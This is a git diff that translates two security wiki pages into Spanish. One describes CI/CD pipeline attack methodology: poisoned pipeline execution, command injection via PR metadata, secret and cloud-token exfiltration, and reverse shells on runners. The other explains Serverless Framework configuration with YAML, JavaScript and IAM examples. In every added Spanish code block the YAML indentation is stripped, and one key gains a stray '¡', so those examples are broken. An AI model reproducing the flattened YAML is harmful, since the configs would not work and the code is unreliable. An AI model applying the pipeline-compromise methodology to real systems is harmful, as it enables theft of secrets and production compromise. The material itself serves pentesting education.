+- Si no hay secreto en su lugar, el atacante podría abusar del webhook de la plataforma de terceros.
+- Si el secreto está en la URL, lo mismo sucede y el atacante también tiene el secreto.
+- **Code compromise:** Si un actor malicioso tiene algún tipo de **acceso de escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito, podría necesitar **eludir las protecciones de rama**. Estas acciones pueden realizarse con diferentes objetivos en mente:
+- Comprometer la rama principal para **comprometer la producción**.
+- Comprometer la principal (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que generalmente ejecutan pruebas, terraform u otras cosas dentro del repo en sus máquinas).
+- **Comprometer la pipeline** (ver la siguiente sección).
## Pipelines Pentesting Methodology
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+La forma más común de definir una pipeline es utilizando un **archivo de configuración de CI alojado en el repositorio** que la pipeline construye. Este archivo describe el orden de los trabajos ejecutados, las condiciones que afectan el flujo y la configuración del entorno de construcción.\
+Estos archivos típicamente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se activa, el trabajo de la pipeline **extrae el código** de la fuente seleccionada (por ejemplo, commit / rama), y **ejecuta los comandos especificados en el archivo de configuración de CI** contra ese código.
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+Por lo tanto, el objetivo final del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**.
### PPE - Poisoned Pipeline Execution
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+El camino de la Ejecución de Pipeline Envenenada (PPE) explota permisos en un repositorio SCM para manipular una pipeline de CI y ejecutar comandos dañinos. Los usuarios con los permisos necesarios pueden modificar archivos de configuración de CI u otros archivos utilizados por el trabajo de la pipeline para incluir comandos maliciosos. Esto "envenena" la pipeline de CI, llevando a la ejecución de estos comandos maliciosos.
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+Para que un actor malicioso tenga éxito realizando un ataque PPE, necesita ser capaz de:
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- - For this, he might need to be able to **bypass branch protections**.
+- Tener **acceso de escritura a la plataforma VCS**, ya que generalmente las pipelines se activan cuando se realiza un push o un pull request. (Consulta la metodología de pentesting VCS para un resumen de formas de obtener acceso).
+- Ten en cuenta que a veces un **PR externo cuenta como "acceso de escritura"**.
+- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de configuración de CI u otros archivos de los que depende la configuración**.
+- Para esto, podría necesitar ser capaz de **eludir las protecciones de rama**.
-There are 3 PPE flavours:
+Hay 3 sabores de PPE:
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**: Un ataque **Directo PPE** ocurre cuando el actor **modifica el archivo de configuración de CI** que va a ser ejecutado.
+- **I-DDE**: Un ataque **Indirecto PPE** ocurre cuando el actor **modifica** un **archivo** del que el archivo de configuración de CI que va a ser ejecutado **depende** (como un archivo make o una configuración de terraform).
+- **Public PPE o 3PE**: En algunos casos, las pipelines pueden ser **activadas por usuarios que no tienen acceso de escritura en el repo** (y que podrían no ser parte de la organización) porque pueden enviar un PR.
+- **3PE Command Injection**: Generalmente, las pipelines de CI/CD **configurarán variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **utilizado** en un **lugar peligroso** (como ejecutar **comandos sh**), un atacante podría **inyectar comandos allí**.
### Exploitation Benefits
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+Conociendo los 3 sabores para envenenar una pipeline, veamos qué podría obtener un atacante después de una explotación exitosa:
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Secrets**: Como se mencionó anteriormente, las pipelines requieren **privilegios** para sus trabajos (recuperar el código, construirlo, desplegarlo...) y estos privilegios generalmente están **otorgados en secretos**. Estos secretos son generalmente accesibles a través de **variables de entorno o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar tantos secretos como sea posible.
+- Dependiendo de la plataforma de la pipeline, el atacante **podría necesitar especificar los secretos en la configuración**. Esto significa que si el atacante no puede modificar la pipeline de configuración de CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secretos que tiene esa pipeline**.
+- **Computation**: El código se ejecuta en algún lugar, dependiendo de dónde se ejecute, un atacante podría ser capaz de pivotar más.
+- **On-Premises**: Si las pipelines se ejecutan en las instalaciones, un atacante podría terminar en una **red interna con acceso a más recursos**.
+- **Cloud**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de cuentas de servicio/roles IAM **de ella para obtener** **más acceso dentro de la nube**.
+- **Platforms machine**: A veces los trabajos se ejecutarán dentro de las **máquinas de la plataforma de pipelines**, que generalmente están dentro de una nube con **sin más acceso**.
+- **Select it:** A veces la **plataforma de pipelines tendrá configuradas varias máquinas** y si puedes **modificar el archivo de configuración de CI** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un shell inverso en cada máquina posible para intentar explotarla más.
+- **Compromise production**: Si estás dentro de la pipeline y la versión final se construye y despliega desde ella, podrías **comprometer el código que va a terminar ejecutándose en producción**.
## More relevant info
### Tools & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu cadena de suministro de software para cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue.
### Top 10 CI/CD Security Risk
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Consulta este interesante artículo sobre los 10 principales riesgos de CI/CD según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- En cada plataforma que puedes ejecutar localmente encontrarás cómo lanzarla localmente para que puedas configurarla como desees para probarla.
+- Laboratorio Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis de código estático para infraestructura como código.
## References
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..c29aecd4a 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -2,302 +2,273 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-### Organization
+### Organización
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+Una **Organización** es la entidad de más alto nivel dentro del ecosistema de Serverless Framework. Representa un **grupo colectivo**, como una empresa, departamento o cualquier entidad grande, que abarca múltiples proyectos, equipos y aplicaciones.
-### Team
+### Equipo
-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+El **Equipo** son los usuarios con acceso dentro de la organización. Los equipos ayudan a organizar a los miembros según roles. **`Colaboradores`** pueden ver y desplegar aplicaciones existentes, mientras que **`Administradores`** pueden crear nuevas aplicaciones y gestionar la configuración de la organización.
-### Application
+### Aplicación
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+Una **Aplicación** es un agrupamiento lógico de servicios relacionados dentro de una Organización. Representa una aplicación completa compuesta de múltiples servicios serverless que trabajan juntos para proporcionar una funcionalidad cohesiva.
-### **Services**
-
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
+### **Servicios**
+Un **Servicio** es el componente central de una aplicación Serverless. Representa tu proyecto serverless completo, encapsulando todas las funciones, configuraciones y recursos necesarios. Se define típicamente en un archivo `serverless.yml`, un servicio incluye metadatos como el nombre del servicio, configuraciones del proveedor, funciones, eventos, recursos, plugins y variables personalizadas.
```yaml
service: my-service
provider:
- name: aws
- runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
functions:
- hello:
- handler: handler.hello
+hello:
+handler: handler.hello
```
-
-Function
+Función
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+Una **Función** representa una única función serverless, como una función AWS Lambda. Contiene el código que se ejecuta en respuesta a eventos.
+Se define en la sección `functions` en `serverless.yml`, especificando el controlador, el entorno de ejecución, los eventos, las variables de entorno y otras configuraciones.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
```
-
-Event
+Evento
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**Eventos** son disparadores que invocan tus funciones sin servidor. Definen cómo y cuándo se debe ejecutar una función.
+Los tipos de eventos comunes incluyen solicitudes HTTP, eventos programados (trabajos cron), eventos de base de datos, cargas de archivos y más.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- - schedule:
- rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
```
-
-Resource
+Recurso
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**Recursos** te permiten definir recursos adicionales en la nube de los que depende tu servicio, como bases de datos, buckets de almacenamiento o roles de IAM.
+Se especifican en la sección `resources`, a menudo utilizando la sintaxis de CloudFormation para AWS.
```yaml
resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- TableName: my-table
- AttributeDefinitions:
- - AttributeName: id
- AttributeType: S
- KeySchema:
- - AttributeName: id
- KeyType: HASH
- ProvisionedThroughput:
- ReadCapacityUnits: 1
- WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
```
-
-Provider
+Proveedor
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-
-It includes details like the runtime, region, stage, and credentials.
+El **Proveedor** objeto especifica el proveedor de servicios en la nube (por ejemplo, AWS, Azure, Google Cloud) y contiene configuraciones relevantes para ese proveedor.
+Incluye detalles como el tiempo de ejecución, la región, la etapa y las credenciales.
```yaml
yamlCopy codeprovider:
- name: aws
- runtime: nodejs14.x
- region: us-east-1
- stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
```
-
-Stage and Region
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+Etapa y Región
+La etapa representa diferentes entornos (por ejemplo, desarrollo, preproducción, producción) donde su servicio puede ser desplegado. Permite configuraciones y despliegues específicos del entorno.
```yaml
provider:
- stage: dev
+stage: dev
```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+La región especifica la región geográfica donde se desplegarán tus recursos. Es importante para consideraciones de latencia, cumplimiento y disponibilidad.
```yaml
provider:
- region: us-west-2
+region: us-west-2
```
-
Plugins
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
-
+**Plugins** extienden la funcionalidad del Serverless Framework al agregar nuevas características o integrarse con otras herramientas y servicios. Se definen en la sección `plugins` y se instalan a través de npm.
```yaml
plugins:
- - serverless-offline
- - serverless-webpack
+- serverless-offline
+- serverless-webpack
```
-
-Layers
-
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
+Capas
+**Capas** te permiten empaquetar y gestionar código compartido o dependencias por separado de tus funciones. Esto promueve la reutilización y reduce el tamaño de los paquetes de despliegue. Se definen en la sección `layers` y son referenciadas por las funciones.
```yaml
layers:
- commonLibs:
- path: layer-common
+commonLibs:
+path: layer-common
functions:
- hello:
- handler: handler.hello
- layers:
- - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
+```
+
+
+
+
+Variables y Variables Personalizadas
+
+**Variables** permiten la configuración dinámica al permitir el uso de marcadores de posición que se resuelven en el momento de la implementación.
+
+- **Sintaxis:** La sintaxis `${variable}` puede hacer referencia a variables de entorno, contenidos de archivos u otros parámetros de configuración.
+
+```yaml
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+* **Variables Personalizadas:** La sección `custom` se utiliza para definir variables y configuraciones específicas del usuario que pueden ser reutilizadas en todo el `serverless.yml`.
+
+```yaml
+custom:
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
```
-Variables and Custom Variables
-
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
-
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
- ```yaml
- functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
- ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
- ```yaml
- custom:
- tableName: my-dynamodb-table
- stage: ${opt:stage, 'dev'}
- ```
-
-
-
-
-
-Outputs
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+Salidas
+**Salidas** definen los valores que se devuelven después de que un servicio es implementado, como ARNs de recursos, puntos finales u otra información útil. Se especifican en la sección `outputs` y a menudo se utilizan para exponer información a otros servicios o para un acceso fácil después de la implementación.
```yaml
¡outputs:
- ApiEndpoint:
- Description: "API Gateway endpoint URL"
- Value:
- Fn::Join:
- - ""
- - - "https://"
- - Ref: ApiGatewayRestApi
- - ".execute-api."
- - Ref: AWS::Region
- - ".amazonaws.com/"
- - Ref: AWS::Stage
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
```
-
-IAM Roles and Permissions
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
+Roles y Permisos de IAM
+**Roles y Permisos de IAM** definen las credenciales de seguridad y los derechos de acceso para tus funciones y otros recursos. Se gestionan bajo la configuración del `provider` o de funciones individuales para especificar los permisos necesarios.
```yaml
provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-
-Environment Variables
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
+Variables de Entorno
+**Variables** te permiten pasar configuraciones y secretos a tus funciones sin codificarlos de forma rígida. Se definen en la sección `environment` para el proveedor o funciones individuales.
```yaml
provider:
- environment:
- STAGE: ${self:provider.stage}
+environment:
+STAGE: ${self:provider.stage}
functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
```
-
-Dependencies
-
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
+Dependencias
+**Dependencias** gestionan las bibliotecas y módulos externos que requieren tus funciones. Normalmente se manejan a través de administradores de paquetes como npm o pip, y se empaquetan con tu paquete de despliegue utilizando herramientas o complementos como `serverless-webpack`.
```yaml
plugins:
- - serverless-webpack
+- serverless-webpack
```
-
Hooks
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
-
+**Hooks** te permiten ejecutar scripts o comandos personalizados en puntos específicos del ciclo de vida de despliegue. Se definen utilizando plugins o dentro del `serverless.yml` para realizar acciones antes o después de los despliegues.
```yaml
custom:
- hooks:
- before:deploy:deploy: echo "Starting deployment..."
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
```
-
### Tutorial
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
-
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+Este es un resumen del tutorial oficial [**de la documentación**](https://www.serverless.com/framework/docs/tutorial):
+1. Crea una cuenta de AWS (Serverless.com comienza en la infraestructura de AWS)
+2. Crea una cuenta en serverless.com
+3. Crea una aplicación:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+Esto debería haber creado una **app** llamada `tutorialapp` que puedes verificar en [serverless.com](serverless.com-security.md) y una carpeta llamada `Tutorial` con el archivo **`handler.js`** que contiene algo de código JS con un código `helloworld` y el archivo **`serverless.yml`** declarando esa función:
{{#tabs }}
{{#tab name="handler.js" }}
-
```javascript
exports.hello = async (event) => {
- return {
- statusCode: 200,
- body: JSON.stringify({
- message: "Go Serverless v4! Your function executed successfully!",
- }),
- }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
```
-
{{#endtab }}
{{#endtabs }}
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
- 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
- 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. Crea un proveedor de AWS, yendo al **dashboard** en `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
+1. Para dar acceso a `serverless.com` a AWS, pedirá ejecutar una pila de cloudformation usando este archivo de configuración (en el momento de escribir esto): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. Esta plantilla genera un rol llamado **`SFRole-`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre la cuenta con una Identidad de Confianza que permite a la cuenta de AWS de `Serverless.com` acceder al rol.
Yaml roleTemplate
-
```yaml
Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
Resources:
- SFRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- AWS: arn:aws:iam::486128539022:root
- Action:
- - sts:AssumeRole
- Condition:
- StringEquals:
- sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
- Path: /
- RoleName: !Ref RoleName
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AdministratorAccess
- ReporterFunction:
- Type: Custom::ServerlessFrameworkReporter
- Properties:
- ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
- OrgUid: !Ref OrgUid
- RoleArn: !GetAtt SFRole.Arn
- Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
Outputs:
- SFRoleArn:
- Description: "ARN for the IAM Role used by Serverless Framework"
- Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
Parameters:
- OrgUid:
- Description: Serverless Framework Org Uid
- Type: String
- Alias:
- Description: Serverless Framework Provider Alias
- Type: String
- RoleName:
- Description: Serverless Framework Role Name
- Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
```
-
-Trust Relationship
-
+Relación de Confianza
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::486128539022:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
}
```
-
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. El tutorial pide crear el archivo `createCustomer.js`, que básicamente creará un nuevo endpoint de API manejado por el nuevo archivo JS y pide modificar el archivo `serverless.yml` para que genere una **nueva tabla DynamoDB**, defina una **variable de entorno**, el rol que estará utilizando las lambdas generadas.
{{#tabs }}
{{#tab name="createCustomer.js" }}
-
```javascript
"use strict"
const AWS = require("aws-sdk")
module.exports.createCustomer = async (event) => {
- const body = JSON.parse(Buffer.from(event.body, "base64").toString())
- const dynamoDb = new AWS.DynamoDB.DocumentClient()
- const putParams = {
- TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
- Item: {
- primary_key: body.name,
- email: body.email,
- },
- }
- await dynamoDb.put(putParams).promise()
- return {
- statusCode: 201,
- }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -475,388 +434,379 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
- environment:
- DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
- iam:
- role:
- statements:
- - Effect: "Allow"
- Action:
- - "dynamodb:PutItem"
- - "dynamodb:Get*"
- - "dynamodb:Scan*"
- - "dynamodb:UpdateItem"
- - "dynamodb:DeleteItem"
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
- createCustomer:
- handler: createCustomer.createCustomer
- events:
- - httpApi:
- path: /
- method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
resources:
- Resources:
- CustomerTable:
- Type: AWS::DynamoDB::Table
- Properties:
- AttributeDefinitions:
- - AttributeName: primary_key
- AttributeType: S
- BillingMode: PAY_PER_REQUEST
